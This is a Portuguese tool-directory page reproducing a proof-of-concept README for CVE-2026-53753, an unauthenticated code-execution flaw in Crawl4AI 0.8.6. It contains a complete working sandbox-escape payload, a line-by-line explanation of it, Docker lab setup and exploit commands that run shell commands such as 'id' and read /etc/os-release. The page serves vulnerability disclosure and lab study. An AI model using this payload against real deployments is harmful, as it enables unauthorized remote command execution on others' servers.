Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-53753-Crawl4AI-RCE — CVE-2026-53753 — Crawl4AI <0.8.7 RCE não autenticado (escape de sandbox AST via gi_frame.f_back). Lab + PoC, verificado e2e. | Kitploit
Ferramentas/GitHubGitHub/biitts/cve-2026-53753-crawl4ai-rce
Análise EstáticaAnálise Dinâmica (Sandboxing)Análise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
Labs e Prática
GitHubbiitts/cve-2026-53753-crawl4ai-rce

CVE-2026-53753-Crawl4AI-RCE

CVE-2026-53753 — Crawl4AI <0.8.7 RCE não autenticado (escape de sandbox AST via gi_frame.f_back). Lab + PoC, verificado e2e.

Ver Repositório
18há 2 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-53753 — Execução Remota de Código Não Autenticada no Crawl4AI (Escape de Sandbox AST)

RCE pré-autenticação no Crawl4AI < 0.8.7. Um esquema JsonCssExtractionStrategy maliciosamente elaborado enviado ao endpoint não autenticado POST /crawl chega ao avaliador de campos computados (_safe_eval_expression), escapa de sua lista de permissões AST através de objetos de frame do Python, alcança os builtins reais e executa __import__('os').popen(<cmd>).read() — retornando a saída do comando in-band na resposta JSON.

CVECVE-2026-53753
AvisoGHSA-qxjp-w3pj-48m7
AfetadoCrawl4AI <= 0.8.6
Corrigido0.8.7
ClasseCWE-94 (Injeção de Código) / Escape de sandbox Python
CVSS 3.19.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
AutenticaçãoNenhum — configuração fornecida tem jwt_enabled: false
StatusCONFIRMADO — reproduzido de ponta a ponta na imagem oficial unclecode/crawl4ai:0.8.6

Índice

  1. Causa raiz
  2. Anatomia da carga útil, linha por linha
  3. Por que a caminhada de frames alcança builtins reais
  4. Configuração do laboratório
  5. Executar o exploit
  6. Saída esperada
  7. Requisição HTTP bruta
  8. Solução de problemas
  9. Impacto / Remediação / Detecção
  10. Validação

Aprofundamento: veja ANALYSIS.md para uma análise nó a nó da AST, a pilha de frames em tempo de execução, o fluxo de dados da requisição e o diff do patch.


1. Causa raiz

crawl4ai/extraction_strategy.py permite que um esquema de extração defina campos computados — pequenas expressões Python avaliadas por item extraído. Eles são executados por _safe_eval_expression(), que tenta isolar a expressão com uma lista de permissões AST e um __builtins__ reduzido:

# crawl4ai/extraction_strategy.py  (v0.8.6)
for node in ast.walk(tree):
    if isinstance(node, (ast.Import, ast.ImportFrom)):
        raise ValueError("Import statements are not allowed in expressions")
    # Block dunder attribute access, e.g. __class__, __globals__
    if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
        raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
    if isinstance(node, ast.Call):
        func = node.func
        if isinstance(func, ast.Name) and func.id.startswith("_"):
            raise ValueError(...)
        if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
            raise ValueError(...)

safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS}   # no __import__, no eval, no open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)

O validador é negar por prefixo: ele rejeita apenas nomes que começam com _ (mais import). Essa única heurística é toda a sandbox — e ela tem três brechas que se combinam em uma fuga completa:

#BrechaPor que é importante
1gi_frame, f_back, f_builtins não começam com _Toda a superfície de introspecção de frames/geradores do Python é acessível.
2obj['__import__'] é um ast.Subscript, não um ast.AttributeO validador nunca inspeciona chaves de subscrito de dicionário, então a chave dunder __import__ passa.
3A cadeia f_back de um gerador em execução leva a um frame externo cujo f_builtins é o real builtinsEscapa do _SAFE_EVAL_BUILTINS reduzido de volta ao completo (__import__, etc.).

O esquema chega a esta função sem autenticação: a API Docker vem com security.jwt_enabled: false, então a dependência de token do /crawl é lambda: None.

2. Anatomia da carga útil, linha por linha

A expressão do campo computado é:

(lambda: (
    (g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/main/%27os%27).popen('id').read()
           for i in [1])),
    list(g)
)[-1])()

Lendo peça por peça:

FragmentoFunçãoPor que o validador permite
(lambda: ... )()Cria um escopo de função para que o nome vinculado ao operador morsa viva em uma célula de fechamento.ast.Lambda não é verificado.
g := ( <expr> for i in [1])Vincula o gerador a g e o corpo do gerador referencia g (ele mesmo).:= e expressões geradoras não são verificados. (Walrus é ilegal em um iterável de compreensão, então é colocado em um elemento de tupla.)
list(g)Aciona o gerador — para que seu frame esteja ativo quando o corpo for executado.list está nos builtins seguros.
g.gi_frameO objeto frame do gerador.gi_frame não começa com _.
.f_back.f_back.f_backSobe três frames até um com os builtins reais.f_back não começa com _.
.f_builtinsO mapeamento de builtins daquele frame (o real).f_builtins não começa com _.
['__import__']Obtém __import__ do dicionário de builtins.Subscrito de dicionário — nunca inspecionado.
('os')__import__('os') → o módulo os.O alvo da chamada é um Subscript, não um Name/Attribute.
.popen('id').read()Executa o comando e retorna sua saída padrão.popen/read não começam com _.

Como o valor do gerador é os.popen(cmd).read(), a saída padrão do comando se torna o valor do campo e é refletida de volta na resposta do /crawl — um oráculo in-band, sem necessidade de OAST.

3. Por que a caminhada de frames alcança builtins reais

Enquanto list(g) itera o gerador, a pilha de chamadas se parece com isso:

frame: _safe_eval_expression()      <-- builtins reais  (__import__ mora aqui)   ← f_back ×3
   └ frame: <expression> (eval)     <-- builtins isolados (_SAFE_EVAL_BUILTINS)  ← f_back ×2
        └ frame: <lambda>           <-- isolados                                 ← f_back ×1
             └ frame: <genexpr> g   <-- EM EXECUÇÃO; g.gi_frame é este frame     ← gi_frame

g.gi_frame.f_back só é preenchido enquanto o gerador está em execução (é por isso que o gerador deve referenciar a si mesmo e ser acionado por list(g) — um gerador ainda não iniciado tem f_back is None). Caminhar f_back três vezes chega ao frame _safe_eval_expression, cujo f_builtins é o módulo completo de builtins — do qual __import__ é obtido por subscrito.

A profundidade do frame é estável para este caminho de código: f_back × 3 está correto para _safe_eval_expression do Crawl4AI 0.8.6.

4. Configuração do laboratório

A imagem oficial vem com o padrão vulnerável (sem autenticação):

# Opção A — docker compose (host Docker normal com rede bridge)
docker compose -f lab/docker-compose.yml up -d

# Opção B — docker run simples
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6

Aguarde ~20 s para o pool de navegadores aquecer (docker logs crawl4ai-vuln → Application startup complete).

5. Executar o exploit

# Inspecione o corpo da requisição sem enviá-lo:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload

# Execute (a saída padrão do comando volta na resposta):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"

exploit.py usa apenas a biblioteca padrão do Python — sem dependências.

6. Saída esperada

Baixar ferramenta